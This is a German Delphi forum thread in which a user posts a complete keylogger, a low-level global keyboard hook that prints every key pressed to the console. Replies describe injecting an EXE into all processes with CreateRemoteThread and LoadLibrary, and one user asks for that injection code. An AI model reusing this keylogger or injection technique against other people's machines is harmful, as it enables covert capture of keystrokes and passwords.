Autor Beitrag
BlackT
Hält's aus hier
Beiträge: 1



BeitragVerfasst: Di 08.03.05 22:48 
i translated this code from c++ to Delphi.

code is a solution for: "Global Hook without extenal dll for NT based Systems"

Original code: neworder.box.sk

The qestion is: Is it also possible to do the global hook with win98 without external dll? And if it is, how to do?

ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.

program Hook;
{$APPTYPE CONSOLE}

uses windows, Messages;

type
   tagKBDLLHOOKSTRUCT = record
        vkCode: DWORD;
        scanCode: DWORD;
        flags: DWORD;
        time: DWORD;
        dwExtraInfo: DWORD;
   end;
   TKbDllHookStruct = tagKBDLLHOOKSTRUCT;
   PKbDllHookStruct = ^TKbDllHookStruct;

var
  hkeyhook: HHOOK;

const
  WH_KEYBOARD_LL  = 13;  // <--- win nt based systems only !!!

// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.
function KeyEvent(code: integer; wParam: word; lParam: longword): longword; stdcall; forward;
exports Keyevent; 

function KeyEvent(code: integer; wParam: word; lParam: longword): longword; stdcall;
var
  szKeyName: array[0..255] of Char;
  hooked: TKbDllHookStruct;
  dwMsg: DWORD;
  i: integer;
begin
  if ( (code = HC_ACTION) and ( (wParam = WM_SYSKEYDOWN) or (wParam = WM_KEYDOWN) ) ) then begin
        //  This struct contains various information about
        //  the pressed key such as hardware scan code, virtual
        //  key code and further flags.
        CopyMemory(@hooked,Pointer(lParam),sizeof(TKbDllHookStruct));

    //  dwMsg shall contain the information that would be stored
    //  in the usual lParam argument of a WM_KEYDOWN message.
    //  All information like hardware scan code and other flags
    //  are stored within one double word at different bit offsets.
    //  Refer to MSDN for further information:
    //
    //  http://msdn.microsoft.com/library/en-us/winui/winui/windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
    //
    //  (Keystroke Messages)

        dwMsg := 1;
        dwMsg := dwMsg + (hooked.scanCode shl 16);
        dwMsg := dwMsg + (hooked.flags shl 24);

    //  Call the GetKeyNameText() function to get the language-dependant
    //  name of the pressed key. This function should return the name
    //  of the pressed key in your language, aka the language used on
    //  the system.

        ZeroMemory(@szKeyName,sizeof(szKeyName));
        szKeyName[0] := '[';
        i := GetKeyNameText(dwMsg, szKeyName+1, sizeof(szKeyName))+1;
        szKeyName[i] := ']';

    //  Print this name to the standard console output device.
        write(szKeyName);
  end;
  //  the return value of the CallNextHookEx routine is always
  //  returned by your HookProc routine. This allows other
  //  applications to install and handle the same hook as well.
  Result := CallNextHookEx(hkeyhook,code,wParam,lParam);
end;

// This is a simple message loop that will be used
// to block while we are logging keys. It does not
// perform any real task ...
procedure MsgLoop();
var
  msg: tagMsg;
begin
  while GetMessage(msg, 0, 0, 0) do
  begin
    TranslateMessage(msg);
    DispatchMessage(msg);
  end;
end;

// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.
function KeyLogger(lpParameter: Pointer): DWORD; stdcall;
var
  hExe: HINST;
begin

//  Get a module handle to our own executable. Usually,
//  the return value of GetModuleHandle(NULL) should be
//  a valid handle to the current application instance,
//  but if it fails we will also try to actually load
//  ourself as a library. The thread's parameter is the
//  first command line argument which is the path to our
//  executable.
    Hexe := GetModuleHandle(nil);
    if (hExe = 0) then
        hExe := LoadLibrary(PChar(lpParameter));

//  Everything failed, we can't install the hook ... this
//  never happened, but error handling is important.
    if hExe = 0 then begin
        result := 1;
        exit;
    end;

  // Install the hook
    hkeyhook := SetWindowsHookEx(WH_KEYBOARD_LL, @Keyevent, hExe, 0);

//  Loop forever in a message loop and if the loop
//  stops some time, unhook the hook. I could have
//  added a signal handler for ctrl-c that unhooks
//  the hook once the application is terminated by
//  the user, but I was too lazy.
    MsgLoop();
    UnhookWindowsHookEx(hKeyHook);
    Result := 1;
end;

var
 hThread: Hwnd;
 dwThread: DWORD;
 exThread: DWORD;

// The main function just starts the thread that
// installs the keyboard hook and waits until it
// terminates.
begin

  hThread := CreateThread( nil, 0, @KeyLogger, nil, 0, dwThread);

  if (hthread <> 0) then begin
        WaitForSingleObject(hThread,INFINITE);
  end;

end.


Moderiert von user profile iconTino: Delphi-Tags hinzugefügt.
uall@ogc
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 1826
Erhaltene Danke: 11

Win 2000 & VMware
Delphi 3 Prof, Delphi 7 Prof
BeitragVerfasst: Di 08.03.05 23:30 
its not that easy but it is possible
i can give you the code that a exe can be a dll at the same time and u can inject the exe into every other process but u have for every process an own instance of the exe

its not piossible by using SetWindowsHookEx i think

_________________
wer andern eine grube gräbt hat ein grubengrabgerät
- oder einfach zu viel zeit
geeky
Hält's aus hier
Beiträge: 8



BeitragVerfasst: Mo 23.01.06 10:00 
hello uall@ogc :
can i get that code you are talking about please? (exe that can be dll same time)..

ps : sorry, i don't know dutch speaking.
BenBE
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 8721
Erhaltene Danke: 191

Win95, Win98SE, Win2K, WinXP
D1S, D3S, D4S, D5E, D6E, D7E, D9PE, D10E, D12P, DXEP, L0.9\FPC2.0
BeitragVerfasst: Mo 23.01.06 10:29 
The problem about this isn't that you detect your Binary being executed as DLL or EXE file, but more the limitation of Windows that you don't can't EXEs directly as a DLL without tweaking them, i.e. you will have to load the Binary as an image and change its attributes to "Library", inject that full image into all processes to hook and then CreateRemoteThread a call to LoadLibrary to finally load that image as a valid DLL into the target process's address space.

P.S.: No problem about don't using german language in your posts. As long as people can understand you, they will try to help you.

_________________
Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.
geeky
Hält's aus hier
Beiträge: 8



BeitragVerfasst: Di 24.01.06 05:35 
yea, i got the idea, thanks BenBe.